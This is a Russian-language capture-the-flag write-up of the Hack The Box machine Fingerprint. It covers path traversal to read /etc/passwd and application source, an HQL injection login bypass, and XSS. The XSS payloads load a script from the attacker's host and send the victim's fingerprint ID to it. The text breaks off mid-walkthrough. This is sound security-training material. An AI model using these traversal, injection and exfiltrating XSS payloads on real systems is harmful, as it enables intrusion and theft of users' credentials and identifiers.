Содержание статьи
- Разведка
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе мы используем LFI для получения исходного кода приложения, XSS — для получения фингерпринта пользователя, обойдем авторизацию через HQL-инъекцию, заюзаем баг в приложении на Java и немного покодим на Python, чтобы получить приватный ключ. В заключение — разберем ошибку в шифровании и узнаем секрет!
Все это — в рамках прохождения «безумной» по сложности машины Fingerprint с площадки Hack The Box.
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.127 fingerprint.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Находим три открытых порта:
- 22 — служба OpenSSH 7.6p1;
- 80 — веб‑сервер Werkzeug httpd 1.0.1;
- 8080 — веб‑сервер GlassFish Open Source Edition 5.0.1.
Наша точка входа — это наверняка один из двух веб‑серверов. Но, изучив сайты, я ничего интересного не нашел. Давай тогда поищем скрытый контент.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w— словарь (я использую словари из набора SecLists); -
-t— количество потоков; -
-u— URL; -
-fc— исключить из результата ответы с кодом 403.
ffuf -u http://fingerprint.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью ffufffuf -u http://fingerprint.htb:8080/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью ffuf
Появляются новые интересные каталоги. Burp способен составлять карты сайта, чем мы и воспользуемся. В данном случае на построенной карте обнаружим конечные точки, которые мы бы долго искали при грубом сканировании.
Карта сайта fingerprint.htb
Теперь важно найти место, откуда мы переходим к конечным точкам. История и поиск в Burp выводят нас на страницу /admin.
Точка входа
Через страницу /admin/view/ можно просматривать файлы, поэтому проверим, нет ли тут уязвимости чтения произвольных файлов в системе. Для перебора файлов я буду использовать Burp Intruder.
Burp Intruder — вкладка Positions
И простая последовательность /../..//etc/passwd отобразит нам содержимое файла /etc/passwd! Это также позволит нам узнать домашний каталог пользователя flask. А это означает доступ к исходникам сервера!
Содержимое файла /etc/passwd
Стоит попробовать получить содержимое некоторых стандартных файлов. Так, app/__init__.py ничего не выводит, а app/app.py все же дает код приложения (путь /admin/view//../..//home/flask/app/app.py).
Исходный код app.py
Теперь у нас есть ключ приложения (строка 19), а также видим импорт функции check из модуля auth (строка 8). Запросим этот файл:
/admin/view/../..//home/flask/app/auth.py
Исходный код auth.py
В строке 13 раскрывается файл базы данных с учетными данными. А в строке 16 с помощью функции build_safe_sql_where формируется запрос. Сама функция импортируется из модуля util. Получим следующие файлы:
-
/admin/view/../..//home/flask/app/users.db -
/admin/view/../..//home/flask/app/util.py
Содержимое файла users.db
Содержимое файла util.py
Из файла базы получаем учетные данные admin:u_will_never_guess_this_password. Используя их, можем авторизоваться на сайте и получить доступ к логам.
Больше здесь ничего добыть не можем.
HQL injection + XSS = fingerprint
Тогда попробуем авторизоваться с полученными учетными данными на другом сервисе. Конечно, там нас ждет неудача, но на странице логов размер файла увеличится.
А в самом файле будет указан адрес, логин и цифровой отпечаток пользователя, который попытался авторизоваться.
Содержимое файла auth.log
Так как логином и отпечатком мы можем оперировать при авторизации, есть возможность получить XSS. Но к этому вернемся чуть позже. На сервере используется база данных, а это значит, что стоит попробовать обойти аутентификацию. На GitHub есть много словарей типа auth bypass, и первая же нагрузка дает следующую ошибку.
Ошибка сервера при обходе авторизации SQL
Получаем ошибку JDBC, а это значит, что нужно выбрать нагрузки для HQL. Большая часть окажется заблокирована, но вот такая нагрузка дает результат:
x' OR SUBSTRING(username,1,1)='a' and ''='
Нам сообщают про неверный цифровой отпечаток (Invalid fingerprint ID).
Сообщение о блокировке запроса
Таким образом, нам нужно получить цифровой отпечаток администратора, в чем нам может помочь уязвимость XSS. Снова попытаемся авторизоваться на втором сервисе, но вместо фингерпринта отправим нагрузку:
<script src="https://10.10.14.156:4321/evil.js"></script>
Она будет загружать с нашего сервера скрипт с кодом alert('test').
Запрос с нагрузкой XSS
Проверка уязвимости XSS
Уязвимость присутствует, значит продолжаем. Обычно фингерпринт генерируется кодом на JS из множества параметров вроде размера экрана, названия и версии браузера и прочих признаков. Нам нужно найти этот код и записать в скрипт на нашем сервере. В Burp History можно увидеть загрузку скрипта login.js, он‑то нам и нужен.
Содержимое login.js
Копируем содержимое скрипта и добавляем в конце код, который отправит сгенерированный фингерпринт на наш сервер:
location.href="http://10.10.14.156:4321/?id="+getFingerPrintID();
После повторного запроса на авторизацию получим фингерпринт на наш сервер.
Логи локального веб‑сервера
Но и отправляя этот фингерпринт, мы получаем ту же ошибку: Invalid fingerprint - ID.